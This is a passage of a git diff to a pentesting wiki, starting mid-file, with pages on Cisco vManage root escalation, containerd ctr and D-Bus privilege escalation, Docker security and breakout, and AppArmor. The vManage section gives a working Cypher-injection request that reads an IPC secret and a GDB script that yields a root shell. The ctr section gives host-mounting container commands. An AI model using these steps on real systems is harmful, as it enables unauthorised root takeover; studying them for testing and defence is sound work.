[https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries \(accessible with an account on the Cisco website\), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: -```text +``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret @@ -15,7 +15,7 @@ vmanage:~$ ls -al /etc/confd/confd_ipc_secret Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: -```text +``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -30,7 +30,7 @@ Host: vmanage-XXXXXX.viptela.net The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: -```text +``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -51,13 +51,13 @@ uid=0(root) gid=0(root) groups=0(root) ## Path 2 -\(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)\) +(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. When I disassembled `/usr/bin/confd_cli` binary, I observed the following: -```text +``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx @@ -86,26 +86,26 @@ vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … ``` -When I run “ps aux”, I observed the following \(_note -g 100 -u 107_\) +When I run “ps aux”, I observed the following (_note -g 100 -u 107_) -```text +``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` -I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor \(-i 1015\) was created somewhere along the way and I cannot fake it. +My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. -As mentioned in synacktiv’s blog\(last example\), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. +As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +I created a GDB script where I forced the API `getuid `and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. root.gdb: -```text +``` set environment USER=root define root finish @@ -125,7 +125,7 @@ run Console Output: -```text +``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. @@ -158,4 +158,3 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - diff --git a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md index 5fdab293..4a42db52 100644 --- a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,10 +1,12 @@ -# Containerd \(ctr\) Privilege Escalation +# Containerd (ctr) Privilege Escalation ## Basic information -Go to the following link to learn **what is containerd** and `ctr`: +Go to the following link to learn **what is containerd **and `ctr`: -{% page-ref page="../../pentesting/2375-pentesting-docker.md" %} +{% content-ref url="../../pentesting/2375-pentesting-docker.md" %} +[2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) +{% endcontent-ref %} ## PE 1 @@ -32,14 +34,15 @@ ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:late ## PE 2 -Run a container privileged and escape from it. +Run a container privileged and escape from it.\ You can run a privileged container as: ```bash ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: - -{% page-ref page="docker-breakout.md" %} +Then you can use some of the techniques mentioned in the following page to** escape from it abusing privileged capabilities**: +{% content-ref url="docker-breakout/" %} +[docker-breakout](docker-breakout/) +{% endcontent-ref %} diff --git a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 57a9cc48..e3ec9896 100644 --- a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -1,12 +1,10 @@ # D-Bus Enumeration & Command Injection Privilege Escalation -**The examples of this page are based on the Oouch box from HTB.** - ## **GUI enumeration** **(This enumeration info was taken from **[**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** -Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by privileged services to expose system-wide relevant services, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages. +Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by **privileged services to expose system-wide relevant services**, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages. Each service is defined by the **objects **and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals. @@ -24,9 +22,9 @@ _Figure 1. D-Feet main window_ _Figure 2. D-Feet interface window_ -D-Feet is an excellent tool that proved essential during my research. On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically queried the service for all the available objects. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each IPC exposed method. +On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically **queried the service for all the available objects**. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each **IPC exposed method**. -We can also see the pid of the process that hosts each service, as well as its command line. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research. +We can also see the** pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research. D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service. @@ -40,7 +38,7 @@ Some methods require authentication before allowing us to invoke them. We will i _Figure 4. A method that requires authorization_ -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. We will come back to this later in this blog post. +Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. ## **Cmd line Enumeration** @@ -72,6 +70,10 @@ org.freedesktop.hostname1 - - - (act org.freedesktop.locale1 - - - (activatable) - - ``` +#### Connections + +When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. + ### Service Object Info Then, you can obtain some information about the interface with: @@ -241,7 +243,7 @@ See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification ## **Vulnerable Scenario** -As user **qtc inside the host "oouch" **you can find an **unexpected D-Bus config file** located in_ /etc/dbus-1/system.d/htb.oouch.Block.conf_: +As user **qtc inside the host "oouch" from HTB **you can find an **unexpected D-Bus config file** located in_ /etc/dbus-1/system.d/htb.oouch.Block.conf_: ```markup diff --git a/linux-unix/privilege-escalation/docker-breakout/README.md b/linux-unix/privilege-escalation/docker-breakout/README.md new file mode 100644 index 00000000..c7b6b4f4 --- /dev/null +++ b/linux-unix/privilege-escalation/docker-breakout/README.md @@ -0,0 +1,288 @@ +# Docker Basics & Breakout + +## **Basic Docker Engine Security** + +Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. Advanced isolation can be achieved using Linux kernel features like **Capabilities**, **Seccomp**, **SELinux/AppArmor**. Docker exposes these Linux kernel capabilities either at Docker daemon level or at each Container level. + +Finally, an **auth plugin** can be used to **limit the actions** users can perform.\ + + +![](<../../../.gitbook/assets/image (625).png>) + +### **Docker engine secure access** + +Docker client can access Docker engine **locally using Unix socket or remotely using http** mechanism. To use it remotely, it is needed to use https and **TLS** so that confidentiality, integrity and authentication can be ensured. + +By default listens on the Unix socket `unix:///var/`\ +`run/docker.sock` and in Ubuntu distributions, Docker start options are specified in `/etc/default/docker`. To allow Docker API and client to access Docker engine remotely, we need to **expose Docker daemon using http socket**. This can be done by: + +```bash +DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H +tcp://192.168.56.101:2376" -> add this to /etc/default/docker +Sudo service docker restart -> Restart Docker daemon +``` + +Exposing Docker daemon using http is not a good practice and it is needed to secure the connection using https. There are two options: first option is for **client to verify server identity** and in second option **both client and server verify each other’s identity**. Certificates establish the identity of a server. For an example of both options [**check this page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). + +### **Container image security** + +Container images are stored either in private repository or public repository. Following are the options that Docker provides for storing Container images: + +* [Docker hub](https://hub.docker.com) – This is a public registry service provided by Docker +* [Docker registry](https://github.com/%20docker/distribution) – This is an open source project that users can use to host their own registry. +* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – This is Docker’s commercial implementation of Docker registry and it provides role based user authentication along with LDAP directory service integration. + +### Image Scanning + +Containers can have** security vulnerabilities **either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. + +For more [**information read this**](https://docs.docker.com/engine/scan/). + +#### How to scan images + +The `docker scan` command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: + +``` +docker scan hello-world + +Testing hello-world... + +Organization: docker-desktop-test +Package manager: linux +Project name: docker-image|hello-world +Docker image: hello-world +Licenses: enabled + +✓ Tested 0 dependencies for known issues, no vulnerable paths found. + +Note that we do not currently have vulnerability data for your image. +``` + +### Docker Image Signing + +Docker Container images can be stored either in public or private registry. It is needed to **sign** **Container** images to be able to confirm images haven't being tampered. Content **publisher** takes care of **signing** Container image and pushing it into the registry.\ +Following are some details on Docker content trust: + +* The Docker content trust is an implementation of the [Notary open source project](https://github.com/docker/notary). The Notary open source project is based on [The Update Framework (TUF) project](https://theupdateframework.github.io). +* Docker content **trust is enabled** with `export DOCKER_CONTENT_TRUST=1`. As of Docker version 1.10, content trust is **not enabled by default**. +* **When** content trust is **enabled**, we can **pull only signed images**. When image is pushed, we need to enter tagging key. +* When the publisher **pushes** the image for the **first** **time** using docker push, there is a need to enter a **passphrase** for the **root key and tagging key**. Other keys are generated automatically. +* Docker has also added support for hardware keys using Yubikey and details are available [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). + +Following is the **error** we get when **content trust is enabled and image is not signed**. + +``` +$ docker pull smakam/mybusybox +Using default tag: latest +No trust data for latest +``` + +Following output shows Container **image being pushed to Docker hub with signing** enabled. Since this is not the first time, user is requested to enter only the passphrase for repository key. + +``` +$ docker push smakam/mybusybox:v2 +The push refers to a repository [docker.io/smakam/mybusybox] +a7022f99b0cc: Layer already exists +5f70bf18a086: Layer already exists +9508eff2c687: Layer already exists +v2: digest: sha256:8509fa814029e1c1baf7696b36f0b273492b87f59554a33589e1bd6283557fc9 size: 2205 +Signing and pushing trust metadata +Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox): +``` + +It is needed to store root key, repository key as well as passphrase in a safe place. Following command can be used to take backup of private keys: + +``` +tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private +``` + +When I changed Docker host, I had to move the root keys and repository keys to operate from the new host. + +## Containers Security Improvements + +### Namespaces + +**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. + +Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: + +* pid namespace +* mount namespace +* network namespace +* ipc namespace +* UTS namespace + +For **more information about the namespaces** check the following page: + +{% content-ref url="namespaces.md" %} +[namespaces.md](namespaces.md) +{% endcontent-ref %} + +### cgroups + +Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ +Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. + +``` +docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash +``` + +To get the cgroup of a container you can do: + +```bash +docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container +ps -ef | grep 1234 #Get info about the sleep process +ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) +``` + +### Capabilities + +Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to** limit the operations that can be done inside a Container** irrespective of the type of user. + +{% content-ref url="../linux-capabilities.md" %} +[linux-capabilities.md](../linux-capabilities.md) +{% endcontent-ref %} + +### Seccomp in Docker + +This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: + +{% content-ref url="seccomp.md" %} +[seccomp.md](seccomp.md) +{% endcontent-ref %} + +### AppArmor in Docker + +This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: + +{% content-ref url="apparmor.md" %} +[apparmor.md](apparmor.md) +{% endcontent-ref %} + +### AuthZ & AuthN + +An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. + +{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} +[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) +{% endcontent-ref %} + +### no-new-privileges + +If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. + +Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. + +``` +docker run -it --security-opt=no-new-privileges:true nonewpriv +``` + +### Managing Secrets + +First of all, **do not put them inside your image!** + +Also, **don’t use environment variables** for your sensitive info, either. Anyone w**ho can run `docker inspect` or `exec` into the container can find your secret**. + +Docker volumes are better. They are the recommended way to access your sensitive info in the Docker docs. You can **use a volume as temporary file system held in memory**. Volumes remove the `docker inspect` and the logging risk. However, **root users could still see the secret, as could anyone who can `exec` into the container**. + +Even **better than volumes, use Docker secrets**. + +If you just need the **secret in your image**, you can use **BuildKit**. BuildKit cuts build time significantly and has other nice features, including **build-time secrets support**. + +There are three ways to specify the BuildKit backend so you can use its features now.: + +1. Set it as an environment variable with `export DOCKER_BUILDKIT=1`. +2. Start your `build` or `run` command with `DOCKER_BUILDKIT=1`. +3. Enable BuildKit by default. Set the configuration in /_etc/docker/daemon.json_ to _true_ with: `{ "features": { "buildkit": true } }`. Then restart Docker. +4. Then you can use secrets at build time with the `--secret` flag like this: + +```bash +docker build --secret my_key=my_value ,src=path/to/my_secret_file . +``` + +Where your file specifies your secrets as key-value pair. + +These secrets are excluded from the image build cache. and from the final image. + +If you need your **secret in your running container**, and not just when building your image, use **Docker Compose or Kubernetes**. + +With Docker Compose, add the secrets key-value pair to a service and specify the secret file. Hat tip to [Stack Exchange answer](https://serverfault.com/a/936262/535325) for the Docker Compose secrets tip that the example below is adapted from. + +Example docker-compose.yml with secrets: + +```yaml +version: "3.7" + +services: + + my_service: + image: centos:7 + entrypoint: "cat /run/secrets/my_secret" + secrets: + - my_secret + +secrets: + my_secret: + file: ./my_secret_file.txt +``` + +Then start Compose as usual with `docker-compose up --build my_service`. + +If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), it has support for secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) can help make secrets management in K8s easier. Additionally, K8s has Role Based Access Controls (RBAC) — as does Docker Enterprise. RBAC makes access Secrets management more manageable and more secure for teams. + +### gVisor + +**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. + +{% embed url="https://github.com/google/gvisor" %} + +### Kata Containers + +**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide** stronger workload isolation using hardware virtualization** technology as a second layer of defense. + +{% embed url="https://katacontainers.io/" %} + +### Summary Tips + +* **Do not use the `--privileged` flag or mount a **[**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. +* Do **not run as root inside the container. Use a **[**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)** and **[**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. +* [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)** (`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. +* [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)** **to prevent processes from gaining more privileges, for example through suid binaries. +* ****[**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. +* **Adjust **[**seccomp**](https://docs.docker.com/engine/security/seccomp/)**, **[**AppArmor**](https://docs.docker.com/engine/security/apparmor/)** (or SELinux) **profiles to restrict the actions and syscalls available for the container to the minimum required. +* **Use **[**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures **or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. +* **Regularly** **rebuild** your images to **apply security patches to the host an images.** +* Manage your **secrets wisely** so it's difficult to the attacker to access them. +* If you **exposes the docker daemon use HTTPS** with client & server authentication. +* In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. +* Have **separate containers for each micro-s**ervice +* **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. +* Have **smaller** container **images** + +## Docker Breakout / Privilege Escalation + +If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: + +{% content-ref url="docker-breakout-privilege-escalation.md" %} +[docker-breakout-privilege-escalation.md](docker-breakout-privilege-escalation.md) +{% endcontent-ref %} + +## Docker Authentication Plugin Bypass + +If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** + +{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} +[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) +{% endcontent-ref %} + +## References + +* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) +* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) +* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/) +* [https://en.wikipedia.org/wiki/Linux_namespaces](https://en.wikipedia.org/wiki/Linux_namespaces) +* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) diff --git a/linux-unix/privilege-escalation/docker-breakout/apparmor.md b/linux-unix/privilege-escalation/docker-breakout/apparmor.md new file mode 100644 index 00000000..7849a6d5 --- /dev/null +++ b/linux-unix/privilege-escalation/docker-breakout/apparmor.md @@ -0,0 +1,279 @@ +# AppArmor + +## Basic Information + +**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources **with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. + +It's a Mandatory Access Control or **MAC** that binds **access control** attributes **to programs rather than to users**.\ +AppArmor confinement is provided via **profiles loaded into the kernel**, typically on boot.\ +AppArmor profiles can be in one of **two modes**: + +* **Enforcement**: Profiles loaded in enforcement mode will result in **enforcement of the policy** defined in the profile **as well as reporting** policy violation attempts (either via syslog or auditd). +* **Complain**: Profiles in complain mode **will not enforce policy** but instead **report** policy **violation** attempts. + +AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems. + +### Parts of AppArmor + +* **Kernel module**: Does the actual work +* **Policies**: Defines the behaviour and containment +* **Parser**: Loads the policies into kernel +* **Utilities**: Usermode programs to interact with apparmor + +### Profiles path + +Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ +With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. + +For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ + +### Commands + +```bash +aa-status #check the current status +aa-enforce #set profile to enforce mode (from disable or complain) +aa-complain #set profile to complain mode (from diable or enforcement) +apparmor_parser #to load/reload an altered policy +aa-genprof #generate a new profile +aa-logprof #used to change the policy when the binary/program is changed +aa-mergeprof #used to merge the policies +``` + +## Creating a profile + +* In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. +* To indicate the access the binary will have over **files** the following **access controls** can be used: + * **r** (read) + * **w** (write) + * **m** (memory map as executable) + * **k** (file locking) + * **l** (creation hard links) + * **ix** (to execute another program with the new program inheriting policy) + * **Px** (execute under another profile, after cleaning the environment) + * **Cx** (execute under a child profile, after cleaning the environment) + * **Ux** (execute unconfined, after cleaning the environment) +* **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) +* **Deny rules are supported to override allow rules**. + +### aa-genprof + +To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ +You just need to run: + +```bash +sudo aa-genprof /path/to/binary +``` + +Then, in a different console perform all the actions that the binary will usually perform: + +```bash +/path/to/binary -a dosomething +``` + +Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ + +{% hint style="info" %} +Using the arrow keys you can select what you want to allow/deny/whatever +{% endhint %} + +### aa-easyprof + +You can also create a template of an apparmor profile of a binary with: + +```bash +sudo aa-easyprof /path/to/binary +# vim:syntax=apparmor +# AppArmor policy for binary +# ###AUTHOR### +# ###COPYRIGHT### +# ###COMMENT### + +#include + +# No template variables specified + +"/path/to/binary" { + #include + + # No abstractions specified + + # No policy groups specified + + # No read paths specified + + # No write paths specified +} +``` + +{% hint style="info" %} +Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. +{% endhint %} + +You can then **enforce** the new profile with + +```bash +sudo apparmor_parser -a /etc/apparmor.d/path.to.binary +``` + +### Modifying a profile from logs + +The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: + +```bash +sudo aa-logprof +``` + +{% hint style="info" %} +Using the arrow keys you can select what you want to allow/deny/whatever +{% endhint %} + +### Managing a Profile + +```bash +#Main profile management commands +apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode +apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain mode +apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile +apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile +``` + +## Logs + +Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: + +```bash +type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 +type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 +``` + +You can also get this information using: + +```bash +sudo aa-notify -s 1 -v +Profile: /bin/service_bin +Operation: open +Name: /etc/passwd +Denied: r +Logfile: /var/log/audit/audit.log + +Profile: /bin/service_bin +Operation: open +Name: /etc/hosts +Denied: r +Logfile: /var/log/audit/audit.log + +AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) +For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor +``` + +## Apparmor in Docker + +Note how the profile **docker-profile** of docker is loaded by default: + +```bash +sudo aa-status +apparmor module is loaded. +50 profiles are loaded. +13 profiles are in enforce mode. + /sbin/dhclient + /usr/bin/lxc-start + /usr/lib/NetworkManager/nm-dhcp-client.action + /usr/lib/NetworkManager/nm-dhcp-helper + /usr/lib/chromium-browser/chromium-browser//browser_java + /usr/lib/chromium-browser/chromium-browser//browser_openjdk + /usr/lib/chromium-browser/chromium-browser//sanitized_helper + /usr/lib/connman/scripts/dhclient-script + docker-default +``` + +By default **Apparmor docker-default profile** is generated from 